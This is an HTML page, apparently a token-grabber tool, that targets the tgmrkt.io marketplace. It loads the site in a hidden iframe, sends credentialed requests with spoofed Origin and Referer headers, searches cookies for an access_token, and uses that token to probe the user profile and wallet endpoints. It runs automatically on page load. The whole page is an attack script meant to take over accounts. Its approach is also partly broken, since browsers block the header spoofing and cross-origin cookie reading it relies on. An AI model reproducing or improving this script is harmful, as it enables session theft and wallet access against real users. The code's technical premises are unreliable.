<!DOCTYPE html>
<html>
<head>
    <title>TGMrkt Token Extractor v2</title>
    <style>
        body { 
            font-family: system-ui; 
            background: #0f1419; 
            color: #fff; 
            padding: 20px; 
            margin: 0;
        }
        .card {
            background: rgba(255,255,255,0.05);
            padding: 25px;
            border-radius: 15px;
            margin: 15px 0;
            backdrop-filter: blur(10px);
        }
        #token { 
            font-family: monospace; 
            font-size: 14px; 
            word-break: break-all;
            background: #1a1f2e;
            padding: 15px;
            border-radius: 8px;
            color: #4ade80;
        }
        button {
            background: linear-gradient(45deg, #3b82f6, #1d4ed8);
            border: none;
            color: white;
            padding: 12px 24px;
            border-radius: 25px;
            cursor: pointer;
            margin: 5px;
        }
        .spinner { color: #f59e0b; }
        .success { color: #10b981; }
        .error { color: #ef4444; }
    </style>
</head>
<body>
    <div style="max-width: 600px; margin: 0 auto;">
        <h1>TGMrkt Token Grabber</h1>
        
        <div class="card">
            <div id="status" class="spinner">Init</div>
            <div id="token-section" style="display:none;">
                <h3>Access Token:</h3>
                <div id="token">-</div>
                
                <h3 style="margin-top: 20px;">Check:</h3>
                <div id="results">-</div>
            </div>
            
            <button onclick="grabToken()" style="margin-top: 20px;">
                Get token
            </button>
        </div>
        
        <!-- НЕВИДИМЫЙ IFRAME для точной имитации -->
        <iframe id="tgmrkt-frame" 
                src="https://cdn.tgmrkt.io/" 
                style="display:none; width:0; height:0;">
        </iframe>
    </div>

    <script>
        const frame = document.getElementById('tgmrkt-frame');
        let token = null;
        
        function updateStatus(msg, color = '') {
            document.getElementById('status').innerHTML = msg;
            if (color) document.getElementById('status').className = color;
        }
        
        async function grabToken() {
            updateStatus('Load TGMrkt...', 'spinner');
            
            // 1. Ждем загрузки iframe
            frame.onload = async () => {
                try {
                    // 2. CSRF запросы с точными headers
                    const headers = {
                        'Origin': 'https://cdn.tgmrkt.io',
                        'Referer': 'https://cdn.tgmrkt.io/',
                        'User-Agent': navigator.userAgent
                    };
                    
                    // Тестовый запрос (тот же что в твоем логе)
                    const resp = await fetch('https://api.tgmrkt.io/api/v1/activities/notifications-count', {
                        method: 'GET',
                        credentials: 'include',
                        headers
                    });
                    
                    if (resp.ok) {
                        const data = await resp.json();
                        const cookies = document.cookie;
                        const tokenMatch = cookies.match(/access_token=([^;]+)/);
                        
                        if (tokenMatch) {
                            token = tokenMatch[1];
                            document.getElementById('token').textContent = token;
                            document.getElementById('token-section').style.display = 'block';
                            updateStatus('Token gotten', 'success');
                            
                            // Дополнительная проверка
                            testMore();
                        } else {
                            document.getElementById('results').innerHTML = `Cookies: ${cookies}`;
                            updateStatus('Not found cookies', 'error');
                        }
                    } else {
                        updateStatus(`API return ${resp.status}`, 'error');
                    }
                } catch(e) {
                    updateStatus(`Error: ${e.message}`, 'error');
                }
            };
            
            // 3. Принудительно перезагружаем iframe
            frame.src = 'https://cdn.tgmrkt.io/';
        }
        
        async function testMore() {
            const endpoints = ['/user/profile', '/user/wallet'];
            let results = {};
            
            for (const ep of endpoints) {
                try {
                    const resp = await fetch(`https://api.tgmrkt.io/api/v1${ep}`, {
                        credentials: 'include',
                        headers: { 'Authorization': token }
                    });
                    results[ep] = resp.status;
                } catch(e) {
                    results[ep] = 'error';
                }
            }
            
            document.getElementById('results').innerHTML = 
                `<pre>${JSON.stringify(results, null, 2)}</pre>`;
        }
        
        // Автозапуск через 2 сек
        setTimeout(grabToken, 2000);
    </script>
</body>
</html>